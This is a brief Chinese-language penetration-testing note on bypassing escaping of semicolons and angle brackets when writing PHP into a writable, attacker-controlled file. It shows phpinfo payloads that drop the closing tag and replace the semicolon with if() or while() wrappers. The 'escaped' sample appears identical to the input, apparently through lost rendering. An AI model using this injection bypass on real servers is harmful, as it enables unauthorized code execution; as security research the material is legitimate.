实战中发现可写文件且内容可控,尝试写入phpinfo,发现分号(;)和尖括号(<>)被转义,如:尝试写入
<?php phpinfo();?>
实际得到:
<?php phpinfo();?>
分析分号(;)和尖括号(<>)两处转义,其中第一个尖括号转义不属于php内部,不起到转义作用,只是一个普通文本,不需要处理,第二个尖括号可以不使用
此时变成:
<?php phpinfo();
关于分号(;)被转义,可以使用如下手法:
<?php if(phpinfo()){}
或
<?php while(phpinfo()){}